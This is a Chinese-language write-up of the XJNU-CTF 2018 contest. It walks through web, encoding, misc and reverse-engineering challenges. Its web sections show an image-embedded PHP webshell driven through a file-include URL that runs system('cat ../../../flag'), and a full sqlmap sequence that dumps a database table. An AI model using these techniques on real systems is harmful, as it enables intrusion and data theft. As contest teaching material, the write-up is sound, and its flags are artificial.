1. 程式人生 > >XJNU-CTF 2018 writeup v1.0

XJNU-CTF 2018 writeup v1.0

XJNU CTF writeup  v1.0

 

前幾天學弟說學校舉辦了ctf,由於有一些瞭解,也比較有自己的看法,因此就打算來做一做他們ctf 的題,這是做出來的一部分ctf的題,希望想要入門的朋友能夠借鑑參考,瞭解思路和ctf中的套路。

WEB 100

開啟連線之後是可以上傳檔案

嘗試幾次後發現,只能上傳圖片檔案,而且有一個非常重要的地方就是,看下他的網址是

沒有錯,這是include,那麼就是說可以上傳圖片木馬了。

準備好圖片,準備好木馬new1.php,然後建立一個檔案a.bat,裡面的內容就是cmd,這樣我們可以在本文夾內開啟cmd視窗。

接下來雙擊a.bat,cmd下輸入copy misc100.jpg/b+New1.php new.jpg

然後上傳帶有木馬的new.jpg檔案

這個時候就可以構造payload了

幾次嘗試之後可以得到

http://ctf.xjnu.edu.cn:666/index.php?file=upload/new.jpg&pass=system(%22cat%20../../../flag%22);

 

Web 20

進去之後是你不屬於這裡。看來ip不對,這個時候需要偽造ip,

用burn suit截獲,新增

出現

把login的內容改掉

又出現

然後在qq瀏覽器,F12選擇移動裝置模式,把裝置換成iPhone X

重新整理,把User-Agent:的內容也改掉

返回了一個空白頁,檢視原始碼,看到一行註釋

於是到burn suit裡面看返回的包,可以找到flag

 

Web10

進去之後是

很明顯是sqlmap注入,測試一下

果然,於是SQlmap走起

查資料庫版本

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --batch

查出是mysql資料庫

查資料庫

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --current-db  --batch

當前資料庫是web1

查資料表

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 --tables  --batch

可以看到flag表

檢視flag表的列名

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag --columns  --batch

查詢列的內容,得到flag。

py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag -C "flag" --dump --batch

 

 

Base10

開啟之後

檢視原始碼

所以遮住的數字是。。。圖片旋轉一下,怎麼樣?

歐克。數字是87

取前五位

構造flag

flag{Math_is_Here_c7e12!}

 

Base20

這個,,,百度上搜一下題目先

嗯。。。。

https://www.theguardian.com/science/alexs-adventures-in-numberland/2015/apr/13/how-to-solve-albert-bernard-and-cheryls-birthday-maths-problem

 

嗯。。。。

所以

flag{Th0_Jack_Birth_Is_July_16}

 

Base30

程式設計題。。。這個數值比較大的話,適合python

sum=0
for num in range(0,1000000000):
       if num%3==0:
              sum+=num
       else:
              if num%5==0:
                     sum+=num
print(sum)

233333333166666668

base 40

666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d

嗯。。。http://www.bejson.com/convert/ox2str/

flag{Just_t3st_h4v3_f4n_hahaha_6666!}

 

Base 50

題目:小明常用密碼是hash 是5bc76f3f319865431dcab801bbce47a1 現在 他只知道明文密碼的前四位是xjnu
中間是66****88 後三位是ctf 請幫他算出 明文密碼是啥
flag{明文} 

那還是直接跑python指令碼吧

#coding=utf8

from hashlib import md5
from hashlib import sha1
from hashlib import sha224
from hashlib import sha384
from hashlib import sha512
import hashlib
 
#__all__ = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'new', 'algorithms_guaranteed', 'algorithms_available', 'pbkdf2_hmac')
#Python計算字串的hash值
def hashForString(method,srcbyte):
    #將字串和漢字轉化成byte型別
    srcbyte = srcbyte.encode(encoding='utf-8')
      
    #new(name, data=b'')
    #testnew = hashlib.new(method,data=srcbyte).hexdigest()
    #print(testnew)
    
    if method == 'md5': 
        m = md5()
        m.update(srcbyte)
        srcbyte = m.hexdigest()
    elif method == 'sha1':
        s = sha1()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha224':
        s = sha224()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha384':
        s = sha384()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    elif method == 'sha512':
        s = sha512()
        s.update(srcbyte)
        srcbyte = s.hexdigest()
    return srcbyte
CSet='a[email protected]#$%^&*()_-+=/*<>:;\'"[]{}|'
for num1 in CSet:
    for num2 in CSet:
        for num3 in CSet:
            for num4 in CSet:
                str1="xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf"
                #print(str1)
                if(hashForString("md5",str1)=="5bc76f3f319865431dcab801bbce47a1"):
                    print("xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf")
    print(num1)
print("完")

 

 

MISC 10

簽到題,關注以後。。。發個私信

Misc 15

開啟之後是

然後用notepad++開啟搜一下flag,嗯。

 

Misc 20

 

Binwalk先跑一下

有兩張圖片。那就把5B74之前的內容用winhex刪掉。也可以用foremost

但是我沒有那個東西。

 

Misc30

老樣子,用notepad++開啟,

亂碼,但是如果換一下編碼的話,

Hi你來到了這裡說明你很想知道答案,但是我這裡只有中文,沒有你想要的答案,參考馬克思主義基本原理概論這本書的第三十五頁第二個字到第五個字的拼音組成就是你想要的答案,騷年加油!

。。。卒

補充:最後這四個字是:去偽存真.在2018版的馬克思主義原理概論這本書裡才有.

 

Misc40

 

是一個word文件,裡面是一些內容。

全選,加個背景色

 

然而並沒有什麼用。

但是。不要慌。

萬能的notepad++

Misc 80

是一個二維碼

掃出來沒有什麼有用的東西。

先用notepad++開啟看一下把

拉到最後是一串數字。數字最大是7,應該是8進位制,

上python指令碼

#coding=utf-8
import chardet

a=b"\146\154\141\147\173\110\141\166\145\137\171\060\125\137\120\171\137\163\143\162\151\160\164\137\117\164\143\137\124\157\137\124\145\156\137\101\163\143\151\151\041\175"
#a = b"\345\260\274\345\217\244\346\213\211\346\226\257\350\265\265\345\233\233"
#判斷當前字串的格式(編碼型別)
fencoding = chardet.detect(a)  

print(fencoding)
#編碼型別為打印出來的fencoding編碼型別
a = a.decode('utf-8')
print(a)

flag{Have_y0U_Py_script_Otc_To_Ten_Ascii!}

Re50

 

是一個入門級別的re,還是很不錯的。

放到IDA裡面,IDA還是強大!

查了一下組合語言,指標的位置,放值

看來,後面的值就是flag

於是16進位制解碼

666c61677b52655F31735F53305F43304F4C7D

flag{Re_1s_S0_C0OL}